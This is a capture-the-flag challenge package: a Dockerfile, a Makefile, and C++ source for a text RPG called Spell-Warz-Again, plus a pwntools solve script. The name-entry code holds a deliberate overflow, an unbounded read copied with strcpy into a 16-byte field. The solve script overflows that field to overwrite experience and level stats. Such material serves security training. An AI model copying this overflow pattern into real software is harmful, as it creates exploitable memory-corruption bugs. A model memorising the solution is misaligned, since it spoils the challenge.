@ -0,0 +1,13 @@ | |||
FROM ubuntu:latest | |||
RUN apt update && \ | |||
apt install socat -y | |||
WORKDIR /app | |||
COPY ./flag.txt . | |||
COPY ./spell-warz-again . | |||
CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" | |||
EXPOSE 12345/tcp |
@ -0,0 +1,21 @@ | |||
MIT License | |||
Copyright (c) <year> <copyright holders> | |||
Permission is hereby granted, free of charge, to any person obtaining a copy | |||
of this software and associated documentation files (the "Software"), to deal | |||
in the Software without restriction, including without limitation the rights | |||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||
copies of the Software, and to permit persons to whom the Software is furnished | |||
to do so, subject to the following conditions: | |||
The above copyright notice and this permission notice (including the next | |||
paragraph) shall be included in all copies or substantial portions of the | |||
Software. | |||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||
OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
@ -0,0 +1,19 @@ | |||
UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||
g++ -c lib/UserInterface.cpp -o UserInterface.o | |||
BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp | |||
g++ -c lib/BattleInterface.cpp -o BattleInterface.o | |||
Spell.o: lib/Spell.cpp lib/Spell.hpp | |||
g++ -c lib/Spell.cpp -o Spell.o | |||
Character.o: lib/Character.cpp lib/Character.hpp | |||
g++ -c lib/Character.cpp -o Character.o | |||
spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp | |||
g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o | |||
clean: all | |||
rm Spell.o Character.o UserInterface.o BattleInterface.o | |||
all: spell-warz-again |
@ -0,0 +1 @@ | |||
slashroot{dummy} |
@ -0,0 +1,108 @@ | |||
#include "BattleInterface.hpp" | |||
const int BattleInterface::maxTurn = 100; | |||
BattleInterface::BattleInterface() | |||
{ | |||
this->turn = -1; | |||
this->player1 = nullptr; | |||
this->player2 = nullptr; | |||
this->winner = nullptr; | |||
this->loser = nullptr; | |||
} | |||
BattleInterface::BattleInterface(Character *p1, Character *p2) | |||
{ | |||
this->turn = 1; | |||
this->player1 = p1; | |||
this->player2 = p2; | |||
this->winner = nullptr; | |||
this->loser = nullptr; | |||
} | |||
void BattleInterface::battleStartAnnounce() | |||
{ | |||
std::cout << " === BATTLE START === \n" | |||
<< " " << player1->getName() << "\n" | |||
<< " vs \n" | |||
<< " " << player2->getName() << "\n" | |||
<< " === ============ === \n" | |||
<< std::flush; | |||
} | |||
void BattleInterface::battleEndAnnouce() | |||
{ | |||
std::cout << " === BATTLE END === \n" | |||
<< "winner: " << this->winner->getName() << "\n" | |||
<< std::flush; | |||
} | |||
Character *BattleInterface::getLoser() | |||
{ | |||
return this->loser; | |||
} | |||
Character *BattleInterface::getWinner() | |||
{ | |||
return this->winner; | |||
} | |||
void BattleInterface::start() | |||
{ | |||
int choiceInt; | |||
char buff[64] = {0}; | |||
this->battleStartAnnounce(); | |||
while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) | |||
{ | |||
std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" | |||
<< "Your spell book:\n"; | |||
for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) | |||
{ | |||
std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; | |||
} | |||
std::cout << std::flush; | |||
choiceInt = UserInterface::getNumber( | |||
"What are you gonna cast this turn?\n>", 0, | |||
player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); | |||
if (player1->canCastSpell(&Spell::Book.at(choiceInt))) | |||
{ | |||
player1->castSpell(&Spell::Book.at(choiceInt), player2); | |||
snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
} | |||
else | |||
{ | |||
snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
UserInterface::print(buff); | |||
} | |||
choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); | |||
if (player2->canCastSpell(&Spell::Book.at(choiceInt))) | |||
{ | |||
player2->castSpell(&Spell::Book.at(choiceInt), player1); | |||
snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
} | |||
else | |||
{ | |||
snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
UserInterface::print(buff); | |||
} | |||
this->turn++; | |||
} | |||
winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; | |||
loser = (winner == player1) ? player2 : player1; | |||
this->battleEndAnnouce(); | |||
} |
@ -0,0 +1,35 @@ | |||
#ifndef SPELL_WARZ_BATTLEINTERFACE_HPP | |||
#define SPELL_WARZ_BATTLEINTERFACE_HPP 1 | |||
#include <iostream> | |||
#include <thread> | |||
#include <chrono> | |||
#include "Character.hpp" | |||
#include "Spell.hpp" | |||
#include "UserInterface.hpp" | |||
class BattleInterface | |||
{ | |||
protected: | |||
static const int maxTurn; | |||
int turn; | |||
Character *player1; | |||
Character *player2; | |||
Character *winner; | |||
Character *loser; | |||
void battleStartAnnounce(); | |||
void battleEndAnnouce(); | |||
void clearBuff(); | |||
public: | |||
BattleInterface(); | |||
BattleInterface(Character *p1, Character *p2); | |||
void start(); | |||
Character *getWinner(); | |||
Character *getLoser(); | |||
}; | |||
#endif |
@ -0,0 +1,216 @@ | |||
#include "Character.hpp" | |||
#include <cstring> | |||
const int Character::maxLevel = 0xffff; | |||
const int Character::maxExperience = 0x0fffffff; | |||
Character::Character() | |||
{ | |||
this->level = 1; | |||
this->experience = 0; | |||
this->maxHP = 10; | |||
this->curHP = maxHP; | |||
this->maxMP = 5; | |||
this->curMP = maxMP; | |||
this->atk = 1; | |||
this->def = 1; | |||
memset(this->name, 0, 16); | |||
} | |||
Character::Character(char *n) : Character::Character() | |||
{ | |||
strcpy(this->name, n); | |||
this->name[15] = 0; | |||
} | |||
Character::Character(const char *n) : Character::Character() | |||
{ | |||
strcpy(this->name, n); | |||
this->name[15] = 0; | |||
} | |||
Character::Character(char *n, int l, int e, int h, int m, int a, int d) | |||
{ | |||
strcpy(this->name, n); | |||
this->name[15] = 0; | |||
this->level = l; | |||
this->experience = e; | |||
this->maxHP = h; | |||
this->curHP = maxHP; | |||
this->maxMP = m; | |||
this->curMP = maxMP; | |||
this->atk = a; | |||
this->def = d; | |||
} | |||
Character::Character(const char *n, int l, int e, int h, int m, int a, int d) | |||
{ | |||
strcpy(this->name, n); | |||
this->name[15] = 0; | |||
this->level = l; | |||
this->experience = e; | |||
this->maxHP = h; | |||
this->curHP = maxHP; | |||
this->maxMP = m; | |||
this->curMP = maxMP; | |||
this->atk = a; | |||
this->def = d; | |||
} | |||
char *Character::getName() | |||
{ | |||
return this->name; | |||
} | |||
int Character::getLevel() | |||
{ | |||
if (this->level > Character::maxLevel) | |||
{ | |||
exit(-1); | |||
} | |||
return this->level; | |||
} | |||
int Character::getExperience() | |||
{ | |||
if (this->experience > Character::maxExperience) | |||
{ | |||
exit(-1); | |||
} | |||
return this->experience; | |||
} | |||
int Character::getMaxHP() | |||
{ | |||
return this->maxHP; | |||
} | |||
int Character::getCurHP() | |||
{ | |||
if (this->curHP > this->maxHP) | |||
{ | |||
exit(-1); | |||
} | |||
return this->curHP; | |||
} | |||
int Character::getMaxMP() | |||
{ | |||
return this->maxMP; | |||
} | |||
int Character::getCurMP() | |||
{ | |||
if (this->curMP > this->maxMP) | |||
{ | |||
exit(-1); | |||
} | |||
return this->curMP; | |||
} | |||
int Character::getAtk() | |||
{ | |||
return this->atk; | |||
} | |||
int Character::getDef() | |||
{ | |||
return this->def; | |||
} | |||
void Character::levelUp() | |||
{ | |||
if ((this->level <= maxLevel) && this->readytoLevelUp()) | |||
{ | |||
this->experience -= this->toNextLevel(); | |||
this->level++; | |||
this->maxHP += 10; | |||
this->maxMP += 5; | |||
this->curHP = this->maxHP; | |||
this->curMP = this->maxMP; | |||
} | |||
} | |||
void Character::restoreHP(int n) | |||
{ | |||
this->curHP += n; | |||
if (this->curHP > this->maxHP) | |||
{ | |||
this->curHP = this->maxHP; | |||
} | |||
} | |||
void Character::restoreMP(int n) | |||
{ | |||
this->curMP += n; | |||
if (this->curMP > this->maxMP) | |||
{ | |||
this->curMP = this->maxMP; | |||
} | |||
} | |||
void Character::reduceHP(int n) | |||
{ | |||
this->curHP -= n; | |||
} | |||
void Character::reduceMP(int n) | |||
{ | |||
this->curMP -= n; | |||
} | |||
bool Character::isAlive() | |||
{ | |||
return this->curHP > 0; | |||
} | |||
int Character::toNextLevel() | |||
{ | |||
return (this->level + 1) * (this->level + 1); | |||
} | |||
bool Character::readytoLevelUp() | |||
{ | |||
return (this->toNextLevel() <= this->experience); | |||
} | |||
void Character::increaseExperience(int n) | |||
{ | |||
this->experience += n; | |||
if (this->experience > maxExperience) | |||
{ | |||
this->experience = maxExperience; | |||
} | |||
while (this->readytoLevelUp()) | |||
{ | |||
this->levelUp(); | |||
} | |||
} | |||
bool Character::canCastSpell(Spell *s) | |||
{ | |||
return this->curMP >= s->getCost(); | |||
} | |||
void Character::castSpell(Spell *s, Character *t) | |||
{ | |||
this->reduceMP(s->getCost()); | |||
t->reduceHP(s->getAmount()); | |||
} | |||
void Character::rest() | |||
{ | |||
this->curHP = this->maxHP; | |||
this->curMP = this->maxMP; | |||
} | |||
void Character::kill() | |||
{ | |||
this->curHP = 0; | |||
} | |||
void Character::revive() | |||
{ | |||
if (this->curHP <= 0) | |||
{ | |||
this->curHP = 1; | |||
} | |||
} |
@ -0,0 +1,59 @@ | |||
#ifndef SPELL_WARZ_CHARACTER_HPP | |||
#define SPELL_WARZ_CHARACTER_HPP 1 | |||
#include <vector> | |||
#include "Spell.hpp" | |||
class Character | |||
{ | |||
protected: | |||
static const int maxLevel; | |||
static const int maxExperience; | |||
char name[16]; | |||
int experience; | |||
int level; | |||
int atk; | |||
int def; | |||
int curHP; | |||
int curMP; | |||
int maxHP; | |||
int maxMP; | |||
void restoreHP(int); | |||
void restoreMP(int); | |||
void reduceHP(int); | |||
void reduceMP(int); | |||
public: | |||
Character(); | |||
Character(char *name); | |||
Character(const char *name); | |||
Character(char *name, int level, int exp, int hp, int mp, int atk, int def); | |||
Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); | |||
void castSpell(Spell *src, Character *dst); | |||
bool canCastSpell(Spell *src); | |||
char *getName(); | |||
int getLevel(); | |||
int getExperience(); | |||
int getMaxHP(); | |||
int getCurHP(); | |||
int getMaxMP(); | |||
int getCurMP(); | |||
int getAtk(); | |||
int getDef(); | |||
int toNextLevel(); | |||
bool readytoLevelUp(); | |||
bool isAlive(); | |||
void levelUp(); | |||
void kill(); | |||
void rest(); | |||
void revive(); | |||
void increaseExperience(int n); | |||
}; | |||
#endif |
@ -0,0 +1,42 @@ | |||
#include "Spell.hpp" | |||
Spell::Spell(std::string n, int t, int a, int c) | |||
{ | |||
this->name = std::string(n); | |||
this->type = t; | |||
this->amount = a; | |||
this->cost = c; | |||
} | |||
int Spell::getType() | |||
{ | |||
return this->type; | |||
} | |||
int Spell::getAmount() | |||
{ | |||
return this->amount; | |||
} | |||
int Spell::getCost() | |||
{ | |||
return this->cost; | |||
} | |||
std::string Spell::getName() | |||
{ | |||
return this->name; | |||
} | |||
std::vector<Spell> Spell::Book = { | |||
Spell("Napalm Beat", 1, 4, 1), | |||
Spell("Fire Ball", 1, 6, 2), | |||
Spell("Cold Bolt", 1, 8, 3), | |||
Spell("Stone curse", 1, 10, 4), | |||
Spell("Lightning Bolt", 1, 12, 5), | |||
Spell("Soul Strike", 1, 14, 6), | |||
Spell("Fire Wall", 1, 16, 7), | |||
Spell("Frost Diver", 1, 18, 8), | |||
Spell("Lighting Storm", 1, 20, 9), | |||
Spell("Asura's Strike", 1, 50, 10), | |||
}; |
@ -0,0 +1,28 @@ | |||
#ifndef SPELL_WARZ_SPELL_CPP | |||
#define SPELL_WARZ_SPELL_CPP 1 | |||
#include <vector> | |||
#include <string> | |||
class Spell | |||
{ | |||
protected: | |||
std::string name; | |||
int type; | |||
int amount; | |||
int cost; | |||
public: | |||
int TYPE_RESTORATION = 0; | |||
int TYPE_DESTRUCTION = 1; | |||
static std::vector<Spell> Book; | |||
Spell(std::string, int, int, int); | |||
int getType(); | |||
int getAmount(); | |||
int getCost(); | |||
std::string getName(); | |||
}; | |||
#endif |
@ -0,0 +1,226 @@ | |||
#include "UserInterface.hpp" | |||
const int UserInterface::interval = 500; // in ms | |||
const int UserInterface::miniInterval = 50; // in ms | |||
const int UserInterface::maxDay = 28; | |||
const int UserInterface::maxMonth = 12; | |||
const int UserInterface::maxYear = 100; | |||
int UserInterface::day = 1; | |||
int UserInterface::month = 1; | |||
int UserInterface::year = 90; | |||
bool UserInterface::gameOver = false; | |||
std::vector<std::string> UserInterface::dayName = { | |||
"Morndas", | |||
"Tirdas", | |||
"Middas", | |||
"Turdas", | |||
"Fredas", | |||
"Loredas", | |||
"Sundas", | |||
}; | |||
std::vector<std::string> UserInterface::monthName = { | |||
"Morning Star", | |||
"Sun's Dawn", | |||
"First Seed", | |||
"Rain's Hand", | |||
"Second Seed", | |||
"Mid Year", | |||
"Sun's Height", | |||
"Last Seed", | |||
"Hearthfire", | |||
"Frostfall", | |||
"Sun's Dusk", | |||
"Evening Star", | |||
}; | |||
void UserInterface::print(std::string msg) | |||
{ | |||
std::cout << msg << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
} | |||
void UserInterface::print(char *msg) | |||
{ | |||
std::cout << msg << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
} | |||
void UserInterface::print(const char *msg) | |||
{ | |||
std::cout << msg << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
} | |||
void UserInterface::printByChar(const char *msg) | |||
{ | |||
int len = strlen(msg); | |||
for (size_t i = 0; i < len; i++) | |||
{ | |||
std::cout << msg[i] << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); | |||
} | |||
} | |||
void UserInterface::welcomeMessage() | |||
{ | |||
std::cout << "+++++++++++++++++++++++++++++++++++\n" | |||
<< "+ Welcome to Spell-Warz-Again !!! +\n" | |||
<< "+++++++++++++++++++++++++++++++++++\n" | |||
<< std::flush; | |||
} | |||
Character *UserInterface::characterCreation() | |||
{ | |||
char buffer[128] = {0}; | |||
char choice = 0; | |||
int i; | |||
short b; | |||
while (choice != 'y' && choice != 'Y') | |||
{ | |||
std::cout << "Who should we call you?\n" | |||
<< ">" << std::flush; | |||
std::cin >> buffer; | |||
std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" | |||
<< ">"; | |||
std::cin >> choice; | |||
} | |||
return new Character(buffer); | |||
} | |||
void UserInterface::epilogue() | |||
{ | |||
UserInterface::printByChar( | |||
"You are just a young mage in a mage school,\n" | |||
"When you witnessed your arch-mage got defeated by your senior...\n" | |||
"He was mumbling about some flag inside a scroll,\n" | |||
"he also mentioned something about a competition called CTF...\n" | |||
"You thought to yourself: \"What the f*ck is a CTF?\"\n" | |||
"Nevertheless, you want that scroll, you want that flag!\n" | |||
"Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" | |||
"Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); | |||
} | |||
std::string UserInterface::dateString() | |||
{ | |||
char date[5] = {0}; | |||
if (UserInterface::day < 21) | |||
{ | |||
switch (UserInterface::day) | |||
{ | |||
case 1: | |||
sprintf(date, "1st"); | |||
break; | |||
case 2: | |||
sprintf(date, "2nd"); | |||
break; | |||
case 3: | |||
sprintf(date, "3rd"); | |||
break; | |||
default: | |||
sprintf(date, "%dth", UserInterface::day); | |||
break; | |||
} | |||
} | |||
else | |||
{ | |||
switch (UserInterface::day % 10) | |||
{ | |||
case 1: | |||
sprintf(date, "%dst", UserInterface::day); | |||
break; | |||
case 2: | |||
sprintf(date, "%dnd", UserInterface::day); | |||
break; | |||
case 3: | |||
sprintf(date, "%drd", UserInterface::day); | |||
break; | |||
default: | |||
sprintf(date, "%dth", UserInterface::day); | |||
break; | |||
} | |||
} | |||
return std::string( | |||
UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||
date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||
", Year " + std::to_string(UserInterface::year)); | |||
} | |||
void UserInterface::menu() | |||
{ | |||
std::cout << "=======================================\n" | |||
<< UserInterface::dateString() << "\n" | |||
<< "=======================================\n" | |||
<< "Available action:\n" | |||
<< "[1] Take a rest\n" | |||
<< "[2] Practice magic\n" | |||
<< "[3] Spar against classmate\n" | |||
<< "[4] Challenge the new Arch-Mage\n" | |||
<< "[5] Gather info about the new Arch-Mage\n" | |||
<< "[6] Meditate to your inner-self\n" | |||
<< "[0] Commit sudoku\n" | |||
<< std::flush; | |||
} | |||
void UserInterface::enemiesInfo(std::vector<Character *> &enemies) | |||
{ | |||
for (int i = 0; i < enemies.size(); i++) | |||
{ | |||
std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; | |||
} | |||
std::cout << std::flush; | |||
} | |||
int UserInterface::getNumber(std::string msg, int min, int max) | |||
{ | |||
int buffer = max + 1; | |||
do | |||
{ | |||
std::cout << msg << std::flush; | |||
if (std::cin.failbit || std::cin.eofbit) | |||
{ | |||
std::cin.clear(); | |||
std::cin.ignore(1); | |||
} | |||
} while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||
return buffer; | |||
} | |||
void UserInterface::nextDay() | |||
{ | |||
if (UserInterface::day++ >= UserInterface::maxDay) | |||
{ | |||
day = 1; | |||
if (UserInterface::month++ >= UserInterface::maxMonth) | |||
{ | |||
month = 1; | |||
if (UserInterface::year++ >= UserInterface::maxYear) | |||
{ | |||
UserInterface::gameOver = true; | |||
} | |||
} | |||
} | |||
} | |||
bool UserInterface::isGameOver() | |||
{ | |||
return gameOver; | |||
} | |||
void UserInterface::characterInfo(Character *c) | |||
{ | |||
std::cout << "++++++++++++++++++++++++" | |||
<< "\nName: " << c->getName() | |||
<< "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() | |||
<< "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() | |||
<< "\n Lv: " << c->getLevel() | |||
<< "\n Xp: " << c->getExperience() | |||
<< "\n next: " << c->toNextLevel() | |||
<< "\n++++++++++++++++++++++++" << std::endl; | |||
} |
@ -0,0 +1,53 @@ | |||
#ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||
#define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||
#include <iostream> | |||
#include <thread> | |||
#include <chrono> | |||
#include <string> | |||
#include <cstring> | |||
#include "Character.hpp" | |||
#include "Spell.hpp" | |||
class UserInterface | |||
{ | |||
protected: | |||
static const int interval; // in ms | |||
static const int miniInterval; // in ms | |||
static const int maxDay; | |||
static const int maxMonth; | |||
static const int maxYear; | |||
static std::vector<std::string> dayName; | |||
static std::vector<std::string> monthName; | |||
static int day; | |||
static int month; | |||
static int year; | |||
static bool gameOver; | |||
public: | |||
static void print(std::string); | |||
static void print(const char *); | |||
static void print(char *); | |||
static void printByChar(std::string); | |||
static void printByChar(const char *); | |||
static void printByChar(char *); | |||
static void welcomeMessage(); | |||
static void epilogue(); | |||
static void menu(); | |||
static void nextDay(); | |||
static void characterInfo(Character *); | |||
static void enemiesInfo(std::vector<Character *> &); | |||
static std::string dateString(); | |||
static int getNumber(std::string, int, int); | |||
static Character *characterCreation(); | |||
static bool isGameOver(); | |||
}; | |||
#endif |
@ -0,0 +1,150 @@ | |||
#include <iostream> | |||
#include <fstream> | |||
#include <thread> | |||
#include <chrono> | |||
#include <random> | |||
#include <fstream> | |||
#include <unistd.h> | |||
#include "lib/Character.hpp" | |||
#include "lib/Spell.hpp" | |||
#include "lib/UserInterface.hpp" | |||
#include "lib/BattleInterface.hpp" | |||
std::string loadFlag() | |||
{ | |||
std::string flagString; | |||
std::ifstream flagFile("flag.txt"); | |||
flagFile >> flagString; | |||
flagFile.close(); | |||
return flagString; | |||
} | |||
int main() | |||
{ | |||
std::string flag; | |||
Character *player; | |||
Character *archMage; | |||
Character *enemy; | |||
BattleInterface battle; | |||
std::vector<Character *> enemies; | |||
flag = loadFlag(); | |||
srand(time(0)); | |||
alarm(600); | |||
UserInterface::welcomeMessage(); | |||
UserInterface::epilogue(); | |||
player = UserInterface::characterCreation(); | |||
archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); | |||
enemies = { | |||
new Character("Abby", 1, 1, 10, 5, 1, 1), | |||
new Character("John", 2, 3, 20, 10, 1, 1), | |||
new Character("Adam", 3, 7, 40, 25, 1, 1), | |||
new Character("Christo", 4, 11, 80, 40, 1, 1), | |||
new Character("Greg", 5, 16, 160, 80, 1, 1), | |||
}; | |||
while (player->isAlive() && !UserInterface::isGameOver()) | |||
{ | |||
int choiceInt = -1; | |||
char choiceChar = -1; | |||
UserInterface::menu(); | |||
choiceInt = UserInterface::getNumber( | |||
"What are you gonna do today?\n>", | |||
0, 6); | |||
switch (choiceInt) | |||
{ | |||
case 0: | |||
UserInterface::print("You commit sudoku...\n"); | |||
UserInterface::print("Was it supposed to be seppuku?\n"); | |||
UserInterface::print("Nevermind, you killed yourself.\n"); | |||
player->kill(); | |||
break; | |||
case 1: | |||
UserInterface::print("You spend the whole day sleeping...\n"); | |||
UserInterface::print("HP and MP restored.\n"); | |||
player->rest(); | |||
break; | |||
case 2: | |||
UserInterface::print("You practice your magic in the yard...\n"); | |||
UserInterface::print("You gained some experience.\n"); | |||
player->increaseExperience((random() % player->getLevel()) + 1); | |||
break; | |||
case 3: | |||
UserInterface::print("List of your classmates:\n"); | |||
UserInterface::enemiesInfo(enemies); | |||
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||
UserInterface::print("You are going to spar with:\n"); | |||
UserInterface::characterInfo(enemies.at(choiceInt)); | |||
UserInterface::print("Are you sure? (y/N)\n>"); | |||
std::cin >> choiceChar; | |||
if (choiceChar == 'y' || choiceChar == 'Y') | |||
{ | |||
enemy = new Character(*enemies.at(choiceInt)); | |||
battle = BattleInterface(player, enemy); | |||
battle.start(); | |||
if (battle.getWinner() == player) | |||
{ | |||
UserInterface::print("You win, you get more experience...\n"); | |||
player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||
} | |||
else | |||
{ | |||
UserInterface::print("You lose, but you still get some experience...\n"); | |||
player->revive(); | |||
player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); | |||
} | |||
delete enemy; | |||
} | |||
else | |||
{ | |||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
player->rest(); | |||
} | |||
break; | |||
case 4: | |||
UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||
UserInterface::print("Are you sure? (y/N)\n>"); | |||
std::cin >> choiceChar; | |||
if (choiceChar == 'y' || choiceChar == 'Y') | |||
{ | |||
battle = BattleInterface(player, archMage); | |||
battle.start(); | |||
if (battle.getWinner() == player) | |||
{ | |||
UserInterface::print("You win, you get more experience...\n"); | |||
player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||
UserInterface::print("You win against the Arch-Mage!\n"); | |||
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||
UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||
UserInterface::print("Here is the content:\n"); | |||
UserInterface::print(flag + "\n"); | |||
} | |||
else | |||
{ | |||
UserInterface::print("You lose...\n"); | |||
UserInterface::print("Sadly his spell was to powerful,\n"); | |||
UserInterface::print("You got killed by the arch-mage...\n"); | |||
} | |||
} | |||
else | |||
{ | |||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
player->rest(); | |||
} | |||
break; | |||
case 5: | |||
UserInterface::print("You found some info about the arch-mage:\n"); | |||
UserInterface::characterInfo(archMage); | |||
break; | |||
case 6: | |||
UserInterface::print("You meditate and got some insight to your ability:\n"); | |||
UserInterface::characterInfo(player); | |||
break; | |||
} | |||
UserInterface::nextDay(); | |||
} | |||
} |
@ -0,0 +1,18 @@ | |||
from pwn import * | |||
if __name__ == "__main__": | |||
p = process("./main") | |||
print p.recvuntil(">") | |||
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
print p.recvuntil(">") | |||
p.sendline("2") | |||
print p.recvuntil(">") | |||
p.sendline("4") | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
for i in xrange(99): | |||
print p.recvuntil(">") | |||
p.sendline("9") | |||
p.interactive() |